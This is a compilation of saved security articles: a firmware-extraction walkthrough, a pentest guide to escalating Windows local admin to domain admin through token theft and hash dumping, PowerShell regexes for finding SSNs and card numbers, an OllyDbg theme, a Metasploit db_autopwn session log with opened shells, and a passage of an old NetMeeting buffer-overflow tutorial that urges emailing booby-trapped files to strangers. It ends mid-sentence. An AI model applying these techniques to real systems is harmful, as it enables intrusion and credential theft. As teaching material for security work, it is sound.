    7992993   	0x79F6A1  	JFFS2 filesystem data big endian, JFFS node length: 222272
[/code]

I've tried to mount JFFS2, with not much luck, but here's how:

[code]

    modprobe mtdram total_size=32768 erase_size=256
    modprobe mtdblock
    sudo modprobe mtdchar
    sudo mknod /dev/mtdblock0 b 31 0
    dd if=2686A8.jffs2 of=/dev/mtdblock1
[/code]

[code]

    mkdir mnt
    mount -t jffs2 /dev/mtdblock1 mnt/
[/code]

Likely the byte order is screwing us, this command is known to work:

[code]

    jffs2dump -r -e convimage -b 2686A8.jffs2 
[/code]

It fails, likely my offsets are off, but you get the picture. Squashfs and
Cramfs are much easier to extract, and the steps are the same, Happy Hunting\!

##  UPDATE

Huge thanks to the author of binwalk and owner of http://www.devttys0.com
Craig. He wrote in with some awesome helpful tips for pulling apart the
DIR-655 firmware:

JFFS2 signatures are tricky; the signature is actually for an individual JFFS2
node \(an entire JFFS2 filesystem will have many nodes\). So if you only see a
few JFFS2 nodes, as in the extracted gzip data from the DIR-655 firmware,
they're probably false positive matches \(the JFFS2 node "magic bytes" are
only 2 bytes long\). So the JFFS2 signatures that you were seeing were just
false positive matches. What sticks out to me though is the gzip match in the
gzipped data extracted from the firmware image:

  

[code]

        $ binwalk 40
        DECIMAL         HEX             DESCRIPTION
        -------------------------------------------------------------------------------------------------------
        781406          0xBEC5E         JFFS2 filesystem data big endian, JFFS node length: 52321
        812698          0xC669A         JFFS2 filesystem data big endian, JFFS node length: 55456
        814198          0xC6C76         JFFS2 filesystem data big endian, JFFS node length: 1121
        2425639         0x250327        LZMA compressed data, properties: 0xA0, dictionary size: 67108864 bytes, uncompressed size: 41985 bytes
        2425815         0x2503D7        LZMA compressed data, properties: 0x94, dictionary size: 67108864 bytes, uncompressed size: 41985 bytes
        ...
        2935884         0x2CCC4C        gzip compressed data, from Unix, last modified: Mon Jun 27 03:32:04 2011, max compression
        7990527         0x79ECFF        LZMA compressed data, properties: 0x84, dictionary size: 1073741824 bytes, uncompressed size: 335544320 bytes
        7992985         0x79F699        JFFS2 filesystem (old) data big endian, JFFS node length: 53312
        7992993         0x79F6A1        JFFS2 filesystem data big endian, JFFS node length: 222272
        8009671         0x7A37C7        LZMA compressed data, properties: 0x94, dictionary size: 335544320 bytes, uncompressed size: 335544320 bytes
        8015031         0x7A4CB7        LZMA compressed data, properties: 0x84, dictionary size: 872415232 bytes, uncompressed size: 536870912 bytes
        8018831         0x7A5B8F        LZMA compressed data, properties: 0xA0, dictionary size: 469893120 bytes, uncompressed size: 603979776 bytes
        8018991         0x7A5C2F        LZMA compressed data, properties: 0xB8, dictionary size: 1073872896 bytes, uncompressed size: 603979776 bytes 
[/code]

  
The gzip match has a timestamp that is within one minute of the original
gzipped file found in the firmware update image at offset 0x40, so that's a
good sign. Extracting and uncompressing the gzip file at offset 0x2CCC4C above
reveals that it is a CPIO archive:

[code]

        $ binwalk 40 -y gzip --dd=gzip:gz
        DECIMAL   HEX       DESCRIPTION
        -------------------------------------------------------------------------------------------------------
        2935884   0x2CCC4C   gzip compressed data, from Unix, last modified: Mon Jun 27 03:32:04 2011, max compression
        $ gunzip 2CCC4C.gz 
        gzip: 2CCC4C.gz: decompression OK, trailing garbage ignored
        $ file 2CCC4C 
        2CCC4C: ASCII cpio archive (SVR4 with no CRC)
[/code]

  
Which can be extracted with the cpio utility to get the file system contents:

[code]

        $ cpio --no-absolute-filenames -i < 2CCC4C
        $ ls
        bin  boot  dev  etc  home  init  lib  mnt  proc  root  sbin  sys  tmp  usr  var  www
[/code]

  
So basically the file system was built as a compressed CPIO archive, then
concatenated with the kernel, then the whole thing was gzipped. Likely the
device does use JFFS2, but the contents of the CPIO archive are extracted to
the JFFS2 partition, rather than putting a JFFS2 image into the firmware
update file.

Be sure to check out his web site and training\!

##  Resources

  * http://www.devttys0.com/category/tutorials/
  * http://www.devttys0.com/2011/08/extracting-non-standard-squashfs-images/
  * http://www.digitalworldz.co.uk/47718-looking-inside-jffs2-images.html
  * http://bramp.net/blog/2012/01/hacking-linksys-e4200v2-firmware/

# Post-Exploitation in Windows: From Local Admin To Domain Admin \(efficiently\) | pentestmonkey
**Created:**| _9/19/2011 8:09:18 AM_  
---|---  
**Updated:**| _9/19/2011 8:09:18 AM_  
**Author:**| __  
**Tags:**| _post-exploitation windows_  
  

# Post-Exploitation in Windows: From Local Admin To Domain Admin
\(efficiently\)

There are some excellent tools and techniques available to pentesters trying
to convert their local admin rights into domain admin rights. This page seeks
to provide a reminder of some of the most common and useful techniques as well
as rating their effectiveness to suggest which ones to try first.

The premise of all the techniques is to obtain access to as many domain
accounts as possible using the credentials stored on the domain member you’ve
compromised.

Tools are briefly discussed for each technique. This page is really about the
techniques, though, not the tools. While tools will change, I suspect these
techniques will be with us for some considerable time yet.

I’ve tried to rate each technique in order of how much effort it is for the
pentester. Some technqiues give almost instant results and are therefore worth
trying first. Others require password cracking and are a last resort really if
nothing else works.

### Very Quick: Duplicate Access Tokens \(Incognito\)

Incognito, either as a standalone tool, or via metasploit’s meterpreter will
scan through all the running processes on the box and list you the delegation
tokens it finds. Without doing any analysis yourself you can try creating a
domain admin account with each token. If it succeeds without any effort on
your part, so much the better.

If you don’t succeed in getting a domain admin account straight away, you may
still be able to abuse the privileges of a normal domain user \(e.g. to list
domain accounts and group memberships\). Perhaps try the techniques below
before trying too hard…

### Quick: Dump LSA Secrets \(lsadump\)

If any Windows services are running under a domain account, then the passwords
for those accounts must be stored locally in a reversible format. LSAdump2,
LSASecretsDump, pwdumpx, gsecdump or Cain & Abel can recover these.

You might have to stare at the output of lsadump and the list of services in
services.msc before you can correlate the two. Once you do, you have a list of
domain accounts and cleartext passwords.

Investigate your new found accounts and see if you’re domain admin yet.

### Quick: Dump SAM-Style Hashes for Access Tokens \(WCE\)

Windows Credentials Editor \(a more mature version of the now obsolete Pass
The Hash Toolkit\) recovers the SAM-style password hash for each process from
LSASS – including domain accounts. Initially, this has a similar effect to
Incognito. But has a couple of advantages:

  * You can authenticate using the hash long after the corresponding process has terminated or the system has been rebooted. Tools like smbshell and metasploit’s psexec allow you to authenticate using a password hash instead of a password.
  * You can try the password hash in conjunction with a different username \(or all usernames\) using keimpx, or similar. You’re hoping for password reuse at this stage.

Gsecdump is an alternative tool for obtaining password hashes for running
processes.

### Quick: Dump SAM, Spray Hashes

Dumping the password hashes from the local SAM using fgdump, pwdump7, Cain &
Abel, etc. won’t necessarily get you a domain account, but if one of the local
passwords is the same as one of the domain passwords, you might be in luck.
Keimpx will help you try the hashes again the domain accounts.

Careful not to lock the domain accounts out, though\!

It’s probably worth spraying the hashes against the local accounts on other
systems. If you fail to get domain admin, you might get local admin on every
other system if the local admin passwords are the same. You can then rinse and
repeat the techniques on this page until you get your domain admin account.

### Slow: Cracking SAM-Style Password Hashes Crack Passwords

If you’ve already tried authenticating using the hashes you’ve collected and
you’ve tried hashes against other accounts, there’s probably little value in
cracking the passwords. John the Ripper, Cain & Abel and ophcrack are just a
few of the password crackers available.

You might find a pattern in the passwords used. Possibly crack hashes from the
password history too.

Another reason to crack passwords is if you’re targeting a service that
insists on you knowing the password – e.g. Terminal Services.

It’s starting to feel like a longshot now…

### Very Slow: Dump Cached Domain Logons, Crack

If the domain member has cached domain logons, you might be able to recover
passwords from the corresponding hashes \(e.g. using fgdump, pwdumpx,
cachedump, meterpreter\). However, hashes are salted and they’re case
sensitive. If there’s a reasonable password policy, you’re going to need some
luck.

You can’t use these hashes without cracking them – unlike the SAM-style
hashes.

### Other Techniques

There are of course other many other techniques you could try. Some are more
open-ended or less likely to succeed in the general case. Here are a few
ideas:

  * Trawling the filesystem looking for passwords. Unattend.txt might have an admin password in it if present. You can probably recover the SAM from .vhd files. Other backup files may also yield passwords.
  * Trawling the registry. Credentials such as VNC password and SNMP community string can be recovered. They might be useful on your quest for domain admin.
  * Protected Storage. This might yield passwords that are reused elsewhere.

# Use PowerShell to Find Personally Identifiable Information \(PII\)

**Created:**| _10/16/2009 3:31:52 PM_  
---|---  
**Updated:**| _10/16/2009 3:32:05 PM_  
**Author:**| __  
**Tags:**| _windows security powershell_  
  
Security WatchWhere Is My PII?

Frank Simorjay

  

  

We all talk about PII \(Personally Identifiable Information\) being the most
important information to protect. But before you can protect PII, you must
thoroughly understand what PII you have collected on your PC. It's easy to say
that everything on your computer is sensitive, but what do you really mean by
everything?

To shed light on this, I started to look at the problem in a bit more detail,
breaking down data types that may be sensitive and figuring out where the data
may end up on your computer. First, just how sensitive information may be is
often a personal judgment. For instance, some people feel threatened if their
name shows up in a search result. Of course, unless you've been living under a
rock, there is a good chance that someone has posted your name on the Internet
in some form by now. To investigate, use your favorite search engine to search
for your name online. Keep in mind that the more common your name, the harder
it will be to find instances that refer specifically to you. And you might
consider this a good thing.

If you are looking for yourself on the Internet, you might also want to check
out some of the popular social networking sites, such as LinkedIn, Facebook,
and YouTube. It is quite remarkable to see the Internet's ability to store and
disperse private information that used to require diligent search efforts to
uncover.

Knowing what information you need to protect is more of a science than it used
to be. To help, I thought it would be interesting to see if your computer has
potentially private information that you may not be aware of and that you may
want to protect. While you might say that all personal information that can be
used to steal your identity is sensitive, information can really be separated
into two levels of detail. There is information that is readily available and
information that is more private and generally considered critical to your
personal identity.

Information that is readily available is not typically considered as PII. This
includes your name and may also consist of your phone number, street address,
e-mail address, gender, and in many cases your place of employment and some
educational information. These items are readily available on the Internet and
in public directories such as phone books. Disclosure of this information,
such as accidentally allowing a spammer to pick up your e-mail address, can be
annoying, but alone it would not lead to identity theft.

Sensitive information consists of more private data that provides a link to
your identity. Data that you wouldn't want disclosed publicly includes your
Social Security number \(or other similar unique identifier provided by your
government\), bank account numbers, credit card numbers \(particularly when
accompanied by the expiration date and card member ID\), your driver's license
number, and your fingerprint \(or other biometric-related information\). When
in the wrong hands, these items can be used in very damaging ways. It is
important that you control where and how this information is recorded and
stored, on the Internet and on your PC. To this end, I will now discuss a
couple of simple methods to find any PII that may be stored on your system's
hard drive.

  

Finding PII Data on Your Computer

PII information is scattered everywhere. In fact, if you were to go through
your garbage, you would probably find some PII quite easily. Protecting this
information requires diligence and a bit of care. I recommend that everyone
invest in a good paper shredder and shred anything that has personal
information on it.

But what about the PII lurking about on your PC? Finding this data can be as
challenging as storing it securely. Windows Vista®, and several other desktop
search tools, can help you find information on your system. But you need to
know what information to look for.

To illustrate the problem, I'm using a couple of simple tools that will allow
me to provide quick hands-on examples of what's at stake. I'm using scripts
with Windows PowerShell®. Among the many things Windows PowerShell does,
you'll find that it also provides excellent string-matching capabilities. For
our purposes, I will be focusing on its ability to match regular expressions.
Windows PowerShell \(available at microsoft.com/powershell\) is a powerful
tool that has quickly become a standard for administrative tasks.

Additionally, I will use findstr.exe to provide a means to manage false
positives, meaning the ability to ignore files that may contain strings that
look interesting \(due to the randomness of data strings in binary files\) but
are in fact of no interest here. In other words, non-text files can be ignored
for this exercise.

I have selected two good PII data types: Social Security numbers and credit
card information. This data should be easy to find if it is actually stored on
your hard drive in clear text. The structure and pattern of both data types
are unique enough to allow for a simple script to find the information.
However, this data is also sensitive enough that I would ask why it needs to
be stored on your PC. If you are inclined to store this information, you
should ensure that it is protected. I'll cover ways to protect your PII in a
moment. My discussion here is admittedly limited—there are other important PII
data types that I haven't included here, such as user names and passwords.

  

Searching for a Social Security Number

Here is a simple string that will look for any information in files that
consists of a standard U.S. Social Security number structured as XXX XX XXXX
or XXX-XX-XXXX. Using Windows PowerShell, you can simply enter the following
lines:

[code]

    Get-ChildItem  -rec -exclude *.exe,*.dll |
    select-string " [0-9]{3}[-| ][0-9]{2}[-| ]
    [0-9]{4}" 
    
[/code]

Or you can use findstr.exe to ensure that binary files are not read for the
search using this:

[code]

    Get-ChildItem  -rec | ?{ findstr.exe 
    /mprc:. $_.FullName } | select-string 
    " [0-9]{3}[-| ][0-9]{2}[-| ][0-9]{4}"
    
[/code]

In this sample, Get-ChildItem –rec conducts a recursive directory search of
files that starts from the directory in which the command was executed.
Findstr.exe searches for strings in files and Select-string is the Windows
PowerShell string search function. \(Findstr.exe provides similar
functionality that I am not discussing here.\) In addition, note that the
leading space in the regular expression is deliberate. This helps to reduce
false positives by eliminating unnecessary information, such as registry
strings like HKLM\SOFTWARE\tool\XXX-XX-XXXX.

In my sample run, the search pattern returned a test sample file I put in a
subdirectory, and it also found samples located in an XML file that outline
file patterns for credit card and Social Security numbers \(see** Figure
1**\).

<img src='img/Temp2_8745.gif' />

Figure 1**Results when searching for a number pattern**\(Click the image for a
larger view\)

I use the exclude capability in the first example to drop all .exe and .dll
files since they can generate unnecessary noise. You may discover other file
types that also cause false positives. If you do, you can use exclude to fine-
tune the search process.

If you are searching only for a specific Social Security number, you can do
the following \(replacing "123 45 6789" with your Social Security number\):

[code]

    Get-ChildItem  -rec | ?{ findstr.exe 
    /mprc:. $_.FullName } | select-string 
    "123 45 6789","123-45-6789"
    
[/code]

The results of this search effort are shown in** Figure 2**.

<img src='img/Temp2_8746.gif' />

Figure 2**Searching for a specific number**\(Click the image for a larger
view\)

  

Searching for Credit Card Information

Credit card information is a bit trickier since the formats vary. And I want
to limit false positives \(meaning results that look like a credit card number
only by random chance\). Nonetheless, the search will probably turn up some
random sequences that are merely similar to credit card numbers.

I am using information that is provided in the essay "Anatomy of Credit Card
Numbers" by Michael Gilleland as a reference when building these strings \(see
merriampark.com/anatomycc.htm\). For instance, my search string specifies that
the first number must be a 4, 5, or 6 since this is defined as the major
industry identifier of the credit card.

Here I have constructed simple strings that will search for Discover,
MasterCard, and Visa cards. In Windows PowerShell, my search string looks like
this:

[code]

    Get-CchildItem  -rec | ?{ findstr.exe 
    /mprc:. $_.FullName } | select-string
     "[456][0-9]{15}","[456][0-9]{3}[-| ][0-9]{4}
    [-| ][0-9]{4}[-| ][0-9]{4}"
    
[/code]

In the sample shown in** Figure 3**, I used the exclude function to eliminate
noise from .rtf, .rbl, and .h file types. Additionally, the sample code looks
for credit card strings that have no spaces or dashes. This, unfortunately,
may overload your display. So the following is an alternative command for the
same function, but this one will not catch non-spaced or non-dashed card
numbers:

<img src='img/Temp2_8747.gif' />

Figure 3**Using exclude to eliminate noise from the results**\(Click the image
for a larger view\)

[code]

    Get-ChildItem  -rec | ?{ findstr.exe 
    /mprc:. $_.FullName } | select-string
    "[456][0-9]{3}[-| ][0-9]{4}[-| ][0-9]{4}
    [-| ][0-9]{4}"
    
[/code]

Since American Express cards are considerably different, I have created a
modified search string to locate that card's pattern. In Windows PowerShell,
the search string looks like this:

[code]

    Get-ChildItem -rec | ?{ findstr.exe 
    /mprc:. $_.FullName } | select-string
    "3[47][0-9]{13}","3[47][0-9]{2}[-| ][0-9]{6}
    [-| ][0-9]{5}"
    
[/code]

Overload of data may affect this result also. This alternative command is the
same function but will not catch non-spaced or non-dashed card numbers:

[code]

    Get-childitem -rec | ?{ findstr.exe 
    /mprc:. $_.FullName } | select-string
    "3[47][0-9]{2}[-| ][0-9]{6}[-| ][0-9]{5}"
    
[/code]

When writing this column, I ran these searches on my own system and I was
quite surprised to find several instances of my Social Security number saved
in places where it should not have been stored. It turns out the information
was located in a note I wrote a while ago and then forgot about. This made me
rethink what I should and should not write down\!

If you find that you do want to store this information but only in a safe way,
try using a tool such as Password Safe \(available
atpasswordsafe.sourceforge.net\). Or encrypt your hard drive with a tool such
as BitLockerTM Drive Encryption. Finally, the Data Encryption Toolkit for
Mobile PCs provides tested guidance on protecting data on a mobile PC. These
solutions will at least make it a bit more difficult for someone who happens
to be trolling your PC for personal information.

  

Wrapping Up

Finding PII information is fairly simple. Being aware of the information is
the tricky part. But keep in mind that a piece of malware or a malicious user
who has gained access to your system can use similar discovery techniques to
find information on your system just as easily. Be careful about when and
where you enter PII information, and if you are inclined to store the
information, be sure that you encrypt it.

I'd like to thank Matt Hainje for helping to troubleshoot my Windows
PowerShell scripts.

# \[C\] Ollydbg2 theme - Pastebin.com

**Created:**| _7/15/2011 2:24:45 PM_  
---|---  
**Updated:**| _7/15/2011 2:24:45 PM_  
**Author:**| __  
**Tags:**| _Debugging olly_  
  

  1. Scheme name\[6\]=Blackboard
  2. Foreground\_1\[6\]=F0FBFF,F0FBFF,AFAFAF,F0FBFF,FFFFFF,FFFF,FFFFFF,3939FF,FFFFFF,F0FBFF,\*,\*,\*,\*,\*,\*
  3. Foreground\_2\[6\]=\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*
  4. Background\_1\[6\]=21100C,21100C,21100C,C57941,3939FF,EB9CAE,C57941,21100C,43322D,\*,\*,\*,\*,\*,\*
  5. Background\_2\[6\]=\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*
  6. Operands\[6\]=0
  7. Modified commands\[6\]=0
  8.   9. \[Fonts\]
  10. Font name\[0\]=OEM fixed font
  11. Font\[0\]=-13,0,400,0,0,0,0,1,49,0,0
  12. Face name\[0\]=Lucida Console

# Episode124 - PaulDotCom Security Weekly

**Created:**| _8/5/2009 12:50:47 PM_  
---|---  
**Updated:**| _8/5/2009 12:50:59 PM_  
**Author:**| __  
**Tags:**| _security tools Exploit pauldotcom Metasploit Tutorials_  
  

# Tech Segment: Automating Exploitation With Metasploit's db\_autopwn

There is tremendous value in identifying vulnerabilities in your network,
whether from the outside looking in, or the inside looking out. I like to try
to automate this process as best I can, then use manual methods to further
verify my work. For example, lets say I want to quickly verify the results
from an Nmap or Nessus scan, and see if any of the Windows hosts are
vulnerable to common Microsoft exploits. I can use Metasploit to do this, as
it will test for the common remotely exploitable Windows vulnerabilities.

The first step is to setup Metasploit with a database module and create a
database:

[code]

    msf > load db_sqlite3
    [*] Successfully loaded plugin: db_sqlite3
    msf > db_create mynetwork
    [*] Creating a new database instance...
    [*] Successfully connected to the database
    [*] File: mynetwork
    msf >
    
    
[/code]

From here, I have many options. I can import Nmap results from a previous scan
using the XML results \(-oX\):

[code]

    msf > db_import_nmap_xml mynetwork.xml
    
    
[/code]

Using the db\_nmap module I can run Nmap directly from Metasploit and populate
the database:

[code]

    msf > db_nmap -sS -T4 -O 192.168.1.0/24
    [*] exec: "/usr/local/bin/nmap" "-sS" "-T4" "-O" "192.168.1.0/24" "-oX" "/tmp/dbnmap.29736.0"
    NMAP: 
    NMAP: Starting Nmap 4.76 ( http://nmap.org ) at 2008-09-25 09:05 EDT
    
    
[/code]

I can now launch exploits against known targets, but only by open port \(since
we ran Nmap and only collected the open port information\):

[code]

    msf > db_autopwn -p -e
    
    
[/code]

-p means exploit the vulnerabilities according to open port, and -e gives the "exploit" command. When I do this, I give Metasploit a lot of work to do: 
[code]

    <snip>
    [*] Launching exploit/netware/smb/lsass_cifs (19/727) against 192.168.1.244:445...
    [*] Launching exploit/windows/http/badblue_passthru (20/727) against 192.168.1.52:80...
    [-] Exploit failed: The server responded with error: STATUS_OBJECT_NAME_NOT_FOUND (Command=162 WordCount=0)
    [*] Started bind handler
    [*] Trying target BadBlue 2.72b Universal...
    [*] Server may not be vulnerable.
    [*] Calling the vulnerable function...
    [*] Successfully removed /config/password.txt
    [*] Command shell session 1 opened (192.168.1.204:58664 -> 192.168.1.52:34657)
    [*] Launching exploit/windows/iis/ms01_023_printer (22/727) against 192.168.1.226:80...
    [*] Started bind handler
    <snip>
    
    
[/code]

727 possible exploit vectors\! That took a while. So, I decided to run Nessus
against my network, then import the Nessus results:

[code]

    msf > db_import_nessus_nbe windows.nbe
    
    
[/code]

Now I run db\_autopwn, and tell it to select modules based on the
vulnerability reference:

[code]

    msf > db_autopwn -x -e
    
    
[/code]

This produces much better results:

  

[code]

    msf > sessions -l
    
    Active sessions
    ===============
    
      Id  Description    Tunnel                                     
      --  -----------    ------                                     
      1   Command shell  192.168.1.204:60530 -> 192.168.1.52:37541  
      2   Command shell  192.168.1.204:61047 -> 192.168.1.52:13917  
      3   Command shell  192.168.1.204:61306 -> 192.168.1.52:6112   
      4   Command shell  192.168.1.204:61350 -> 192.168.1.52:5646   
    
    msf > sessions -i 2
    [*] Starting interaction with 2...
    
    Microsoft Windows 2000 [Version 5.00.2195]
    (C) Copyright 1985-2000 Microsoft Corp.
    
    C:\WINNT\system32>
    
[/code]

# Oldskool Fundamentals

**Created:**| _3/3/2010 12:40:26 PM_  
---|---  
**Updated:**| _3/3/2010 12:45:44 PM_  
**Author:**| __  
**Tags:**| _Exploit LOLZ Tutorials_  
  

> note: this is old ... but well...
>  
>
> Essence
>  
> Throughout these ages  
> our operating systems  
> infested by bugs
> The ignorant world  
> turns to Windows for safety  
> Safety from themselves
> It is now the time  
> for the world to realize  
> that we all feel pain
>  
>
>  
>
> Fundamentals
> A buffer overflow occurs when something very large is placed in a box far
> too small for it to fit. It's all gotta go somewhere. An example in code is
> as follows:
[code]

>     void func(void){   int i;   char buffer[256];
> // *   for(i=0;i<512;i++)                       buffer[i]='A';
> // !      return;}
[/code]

> As you can see, our 'buffer' gets filled with 256 'A's, followed by 256 more
> that just don't fit. The rest of those 'A's have to go somewhere.
> And where they go depends on your operating system implementation and
> programming language, but if you don't have automatic bounds checking like
> Java, I guarantee you that those 'A's are going somewhere unfortunate.
> Here is a picture of a healthy 32-bit stack, in such an operating system as
> Windows 9x/NT running on an Intel platform. It looks like what it should
> look like at the point marked \* in the code above.
[code]

>     STACK         ----------------        Local VariablesESP->   i
> Buffer        ----------------EBP->   Old Value of EBP
> ----------------        Return Address        ----------------
[/code]

> When the "func" procedure returns, it moves EBP back into ESP, and POP's the
> return address off the stack. When the above line of code marked '\!'
> executes it overflows the buffer, writing 'A's over the old value of EBP and
> over the return address. By overwriting the return address, you can
> seriously alter the course of program flow. All you have to do is change the
> return address to point to a memory location of your choice, and the code
> you want to execute will be reached when this procedure decides to 'return'.
> If you stuff the buffer with code bytes, you can then reroute the EIP to
> them on the next RET, since the stack is considered executable memory in
> Windows 9x/NT on the Intel architecture.
> The lesson on basics is over. If you have written a buffer overflow exploit
> on other operating systems or have fully mastered these basic concepts, we
> will go into detail on how to recognize the buffer overflow condition in
> Windows and proceed to detail on exploitation.
  

> What It Looks Like
> When you see something like this,
> <img src='img/Temp2_5741.jpg' />
> you probably hit some kind of buffer overflow. Sure the error is somewhat
> generic looking, but look a little closer at some of those values...
> To get this to happen, I fed a string of `0x80` bytes into a popular
> conference package called 'Microsoft Netmeeting' through the address field
> of a 'speeddial' shortcut. EIP happens to be `0x80808080`. Guess what?
> That's good\! I found a stack overflow\! Now all I have to do is craft my
> exploit string to have some fun code inside, and tweak four of those `0x80`
> bytes to point to my exploit string.
> Note at this point that other types of errors will bring up similar dialog
> boxes, and that not all of them are buffer overflows. Some buffer overflows
> are easier to exploit than others as well. I will be going into the
> mechanics of stack overflows in Windows in this paper. Other types of
> overflows, such as heap overflows are exploitable, on Intel Win95/98/NT, but
> are beyond the scope of this paper by about 50 IQ points from the target
> audience.
> Once you're pretty sure that you've found a buffer overflow, you need to
> decide what approach you're going to take, and find out what tools are
> available to you.
Hack me up\!

Back me up\!

  

How Can This Be Used?  
Now we need to figure out what's really going on. To create the buffer
overflow situation, I created a file called "overflow.cnf". CNF is a file
format used by Microsoft Netmeeting when you save a 'SpeedDial' shortcut to
disk. CNF files are commonly placed on people's webpages and in emails so that
people on netmeeting will give them a call.If you wanted to exploit this
overflow, you could simply start up Netmeeting, find a bunch of people on the
ILS server, and send them email with the CNF file attached. Just make the mail
say something like: My girlfriend and I want you to watch us fuck while you
spank it\! Call us soon, we're horny\! They'll click the icon. It may also be
possible to fake a connection to an ILS server as well, creating a fake user
and supplying the bogus address line with our exploit it in, so that if they
click on the name, they get zapped. All kinds of fun owning the machines of
horny men looking for titties on the net\!So. Let's do it\! What do we have at
our disposal? Well, the overflow is in 'RUNDLL32.EXE', which is of different
sizes between Windows 95 and Windows NT. It's a safe bet to assume that they
have different import tables \(go ahead and verify that yourself with
DUMPBIN\). Oh, by the way, this particular overflow will only happen in
Windows 95, but the exploit technology is valid for Windows NT as well.
Netmeeting 2.1 was the version, by the way.Onward\!  
  
The Good And The BadWhen that crash occurs, and you hit 'close', you'll notice
that Netmeeting itself does not close. This means that RUNDLL32 is being
launched in a separate process space. This is both good, and bad. The good
side is that you don't have a lot of complicated code to wade through and
whatever you do, it won't look too suspicious, because Netmeeting didn't
close. The bad side is that RUNDLL32 doesn't load too much in the way of DLL's
or external resources. It looks like we'll have to load those on our own.Upon
further inspection, we have even more shit to deal with. An executable, such
as RUNDLL32.exe has a base address of 0x00400000. This means that almost all
references to the stack are going to have at least one NULL character in them.
This is unfortunate, because it is almost always runaway string operations in
C that cause these kind of overflow problems. Hence, if we write our code with
null characters, we will harm our own exploit string because it will be
truncated as it is manipulated. Other bad characters include line feed,
carriage returns, some control codes, and in some extreme cases, even
lowercase or uppercase letters, or characters whose ASCII value is greater >=
0x80 \(one of the worst cases\!\) We're just going to have to be clever.Other
things we have to work with: MSCONF.DLL is loaded. This is because RUNDLL
loaded it. We notice this because the command line for starting .CNF files is
"`rundll32.exe msconf.dll,OpenConfLink %l`" as defined in the CNF file type.
We can also assume that KERNEL32.DLL is loaded because KERNEL32 functions are
listed in RUNDLL32's import table. Then again, KERNEL32 functions are also
listed in the MSCONF.DLL import table. Lets look to see what would be more
reliable: We're hacking Netmeeting 2.1. One version of the product. One
version of MSCONF.DLL. There could be any version or revision of RUNDLL32 or
KERNEL32 loaded from various OS versions or upgrades. Hence, if we were to
reference an absolute virtual memory address, it had better be within MSCONF
or else, we might be poking into the wrong places \(version skew\!\). This is
problematic, assuming that we want this exploit to work on all versions of the
target OS.So... we look at how other programs get their addresses. We want to
be able to use internet functions to do fun stuff with our exploit code, so we
are going to need to use WSOCK32.DLL or WININET.DLL. WinInet provides more
functionality with less code, so we'll go with that for now. WININET is not
loaded into the process space of RUNDLL32, so we'd have to load it. But wait\!
We haven't mentioned how to gain control of the EIP and point it to our code
yet\! So we shall...Snatch that EIP\!  
Snatching the EIPSo we found that through a buffer overflow of the right
length, we could modify the return address of some function and jump to code
of our choice. It would seem natural then, for us to do something like the
following:Address=.....256periods....1234xyzSince the buffer size is 256 bytes
\(we figure that out by experimentation, slowly growing and shrinking the
address= line length until we home in on the exact number of characters that
cause it to crash\) the above string will fill the buffer with 256 periods,
overwrite EBP with 0x34333231 and set EIP to 0x00ZZYYXX, since the string ends
with a null terminator. This lets us point to wherever we want in the stack
because guess what, we're allowed 1 NULL at the very end\!In some cases, this
works fine. But in other cases, the buffer is either too small for this to
work and do something useful, or the buffer is first munged by a bunch of
string ops or parsing. In many cases, putting the code AFTER the return
address is a better idea, as
follows:Address=.....256periods....1234wxyzOURCODEFOLLOWSHERE>>>In this case,
you often get a lot more code space to work with for writing your exploit, but
we don't get the added benefit of getting a free null character to form our
stack jump address. Turns out that putting the code after the return address
is what we'll need to do for this exploit. The stuff before the return address
is destroyed before we get a chance to work with it. We end up jumping to
0xZZYYXXWW, where neither WW,XX,YY, or ZZ can be invalid chars. So where do we
go? Somewhere that can take us where we want to go.First, turn on your
realtime debugger and put in an exploit string that will surely cause the
thing to crash. Something that points to a blatantly bad address \(set
0xZZYYXXWW to equal 0x34333231 for example. No code is in memory there,
instant page fault\). Now run it and let your debugger kick in. Examine the
state, and see what you have to work with. In the case of this exploit, we
find that ESP is the only register that points to anything anywhere near our
exploit code. In fact, it points to the location where we blew over the saved
EBP, plus 16 bytes. Ok... So what exactly are we trying to do?We want to jump
the stack. In fact, simply jumping to ESP should be sufficient. A clever way
to do this is to set the 0xZZYYXXWW to point to a piece of code in memory that
does a "jmp esp" or a "call esp" or something like that. But, to complicate
issues, it has to be in a piece of code where no byte in the address is a "bad
byte", especially `0x00`. We find our magic code in MSCONF.DLL, loaded at
0x6A600000, offset 2A76:.00002A76: 54 push esp.00002A77: 2404 and
al,004.00002A79: 33C0 xor eax,eax.00002A7B: 8A0A mov cl,\[edx\].00002A7D: 84C9
test cl,cl.00002A7F: 740F je .000002A90 .00002A81: 80E930 sub cl,030
;"0".00002A84: 8D0480 lea eax,\[eax\]\[eax\]\*4.00002A87: 0FB6C9 movzx
ecx,cl.00002A8A: 42 inc edx.00002A8B: 8D0441 lea
eax,\[ecx\]\[eax\]\*2.00002A8E: EBEB jmps .000002A7B.00002A90: C20400 retn
00004This code doesn't look like it jumps to esp, but that's because it
doesn't. It returns to ESP. The PUSH ESP happens, the jmps 2A7B happens once,
then the JE 2A90 kicks in and pops us to a RET. This effectively jumps us to
ESP. Heh. So all is well. MSCONF.DLL is loaded, and we can expect that this
code is going to be in the same place all the time because we only have one
version of MSCONF.DLL to worry about, and it has a fixed DLL base address. So
our value of 0xZZYYXXWW is 0x6A602A76. No nulls, no bad chars, no bullshit. We
have now snatched the EIP. The processor is ours. Now to do something
useful...Ooh\! Exploit\!Back it up, I missed something.  
Constructing the ExploitWe are now in control of the machine. We need to do
something useful now, but we are limited on how long we can make our code.
You'll notice that after about 763 characters, that we end up crashing in a
different place. This is also an overflow, a different one. So Microsoft
really has two bugs to fix, but hey, we're only exploiting one right now. If
we have time, we'll get back to the other.The first 256 characters get blown
away so our code only has about 500 bytes of room in which to fit. Here's what
we have to deal with:500 byte maximum exploit lengthWe don't know what OS
version we're runningWe don't know where any useful functions are locatedThis
kinda sucks, but let's look at this from a non-exploit point of view. If I was
a little executable, compiled for Windows, I would run on both Win95 and
WinNT. If I want to call ExitProcess, how do I know where the function is?
It's in two different locations in Kernel32.DLL between the two OS's. \(and in
two different places between OSR1 and OSR2 of W95, and various service pack
releases of WinNT, for that matter\). I can't just jump to a random address.I
have to be told the location of these functions. There is a function in the
Win32 API called "GetProcAddress". It returns the memory address of a
function, given it's name and it's module handle. So what's the address of
GetProcAddress? We don't know\! We would have to call it to find out\! So how
does it work? Import tables.Import tables are structures in the PE-Executable
format that specify that the operating system should tell us the location of
